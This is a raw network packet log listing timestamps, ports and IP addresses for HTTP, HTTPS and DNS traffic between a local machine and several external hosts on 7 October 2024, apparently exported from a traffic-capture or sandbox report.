Oct 7, 2024 18:43:46.477411032 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477426052 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477438927 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477444887 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477472067 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477475882 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477495909 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477497101 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477524042 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477525949 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477535009 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477549076 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477566004 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477566004 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477581024 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477596045 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477598906 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477612019 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477624893 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477626085 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.477654934 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.477678061 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478406906 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478460073 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478523016 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478554964 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478569984 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478571892 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478596926 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478612900 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478646040 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478661060 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478677034 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478689909 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478691101 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478713036 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478740931 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478765011 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478780031 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478795052 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478806973 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478809118 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478825092 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478837967 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478838921 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478857040 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478867054 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478872061 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478878975 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478892088 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478934050 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478934050 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478941917 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478957891 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478972912 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.478984118 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.478988886 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479005098 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479013920 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479022980 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479049921 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479055882 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479070902 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479079962 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479085922 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479099989 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479104042 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479121923 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479131937 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479160070 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479165077 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479181051 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479192019 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479216099 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479227066 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479234934 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479250908 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479266882 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479275942 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479279995 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479290962 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479296923 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479311943 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479314089 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479326010 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479327917 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479347944 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479357958 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479372978 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479382038 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479410887 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479418039 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479428053 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479444027 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479454994 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479460001 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479475021 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479475975 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479492903 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479492903 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479511023 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479511976 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479520082 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479526997 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479541063 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479551077 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479557037 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479569912 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479573011 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479588985 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479598999 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479604959 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479619980 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479629040 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479635954 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479649067 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479652882 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479677916 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479686022 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.479722023 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.479760885 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.682507992 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:46.688122988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:46.995071888 CEST	53638	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:47.000838041 CEST	53	53638	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:47.000897884 CEST	53638	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:47.000931978 CEST	53638	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:47.005877018 CEST	53	53638	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:47.575160980 CEST	53	53638	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:47.575458050 CEST	53638	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:47.581379890 CEST	53	53638	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:47.581487894 CEST	53638	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:47.617377043 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:47.617412090 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:47.620485067 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:47.623374939 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:47.623385906 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:47.746478081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:47.746860027 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:47.748292923 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:47.753127098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:48.094413042 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.094543934 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.096788883 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.096793890 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.096987009 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.146059990 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.149821997 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.149821997 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.149914026 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.254153013 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.254188061 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.254208088 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.254232883 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.254244089 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.254290104 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.254295111 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.254757881 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.254798889 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.258069992 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.258080959 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.258105040 CEST	53640	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.258110046 CEST	443	53640	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.336275101 CEST	53641	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.336370945 CEST	443	53641	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.336457968 CEST	53641	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.336875916 CEST	53641	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.336914062 CEST	443	53641	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.361113071 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:48.361340046 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:48.391967058 CEST	53642	80	192.168.2.4	45.132.206.251
Oct 7, 2024 18:43:48.396775007 CEST	80	53642	45.132.206.251	192.168.2.4
Oct 7, 2024 18:43:48.396826029 CEST	53642	80	192.168.2.4	45.132.206.251
Oct 7, 2024 18:43:48.397383928 CEST	53642	80	192.168.2.4	45.132.206.251
Oct 7, 2024 18:43:48.397489071 CEST	53642	80	192.168.2.4	45.132.206.251
Oct 7, 2024 18:43:48.403280020 CEST	80	53642	45.132.206.251	192.168.2.4
Oct 7, 2024 18:43:48.403292894 CEST	80	53642	45.132.206.251	192.168.2.4
Oct 7, 2024 18:43:48.403304100 CEST	80	53642	45.132.206.251	192.168.2.4
Oct 7, 2024 18:43:48.403316021 CEST	80	53642	45.132.206.251	192.168.2.4
Oct 7, 2024 18:43:48.403331041 CEST	80	53642	45.132.206.251	192.168.2.4
Oct 7, 2024 18:43:48.403629065 CEST	80	53642	45.132.206.251	192.168.2.4
Oct 7, 2024 18:43:48.811527014 CEST	443	53641	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.811625957 CEST	53641	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.899379015 CEST	53641	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.899420023 CEST	443	53641	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.899777889 CEST	443	53641	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:48.906322002 CEST	53641	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.906344891 CEST	53641	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:48.906421900 CEST	443	53641	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:49.245855093 CEST	80	53642	45.132.206.251	192.168.2.4
Oct 7, 2024 18:43:49.245914936 CEST	53642	80	192.168.2.4	45.132.206.251
Oct 7, 2024 18:43:49.350631952 CEST	443	53641	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:49.350719929 CEST	443	53641	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:49.353375912 CEST	53641	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:49.372474909 CEST	53641	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:49.372497082 CEST	443	53641	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:49.372764111 CEST	53641	443	192.168.2.4	188.114.96.3
Oct 7, 2024 18:43:49.372771025 CEST	443	53641	188.114.96.3	192.168.2.4
Oct 7, 2024 18:43:53.713282108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:53.713670015 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:53.714821100 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:53.714936972 CEST	53642	80	192.168.2.4	45.132.206.251
Oct 7, 2024 18:43:56.655973911 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:56.656007051 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:56.656069040 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:56.656428099 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:56.656443119 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.300409079 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.300539970 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.302283049 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.302293062 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.302536011 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.311037064 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.355402946 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.406105042 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.406142950 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.406166077 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.406199932 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.406218052 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.406248093 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.406264067 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.489680052 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.489742994 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.489746094 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.489773035 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.489833117 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.491686106 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.491730928 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.491755009 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.491760969 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.491791010 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.491802931 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.622750998 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.622812986 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.622847080 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.622862101 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.622914076 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.623559952 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.623601913 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.623635054 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.623640060 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.623668909 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.623684883 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.624453068 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.624494076 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.624528885 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.624535084 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.624556065 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.624583960 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.626389980 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.626440048 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.626471043 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.626476049 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.626497984 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.626518965 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.739649057 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.739712954 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.739742994 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.739756107 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.739782095 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.739824057 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.740267038 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.740309954 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.740333080 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.740336895 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.740360022 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.740371943 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.741202116 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.741245031 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.741272926 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.741276979 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.741300106 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.741311073 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.741976976 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.741990089 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.742048025 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.742053032 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.742254019 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.858886003 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.858939886 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.858963966 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.858978033 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.859013081 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.859508991 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.859553099 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.859577894 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.859585047 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.859612942 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.859675884 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.859739065 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.859744072 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.859803915 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.859833002 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.859858036 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.859858036 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.859870911 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.913074017 CEST	53646	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.913113117 CEST	443	53646	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.913397074 CEST	53646	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.916695118 CEST	53647	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.916743040 CEST	443	53647	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.917174101 CEST	53648	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.917253017 CEST	443	53648	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.917310953 CEST	53648	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.917320967 CEST	53647	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.917412996 CEST	53646	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.917433977 CEST	443	53646	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.918731928 CEST	53649	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.918771029 CEST	443	53649	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.918848991 CEST	53649	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.918960094 CEST	53649	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.918975115 CEST	443	53649	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.919908047 CEST	53650	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.919918060 CEST	443	53650	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.919960022 CEST	53650	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.920090914 CEST	53650	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.920106888 CEST	443	53650	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.920372963 CEST	53648	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.920392990 CEST	53647	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:57.920411110 CEST	443	53647	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:57.920419931 CEST	443	53648	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.161726952 CEST	53645	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.161751986 CEST	443	53645	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.570558071 CEST	443	53646	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.574486971 CEST	443	53649	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.576845884 CEST	443	53650	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.587655067 CEST	443	53647	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.608987093 CEST	53647	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.609005928 CEST	443	53647	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.609689951 CEST	53647	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.609697104 CEST	443	53647	13.107.246.45	192.168.2.4
Oct 7, 2024 18:43:58.610095978 CEST	53646	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:43:58.610121965 CEST	443	53646	13.107.246.45	192.168.2.4
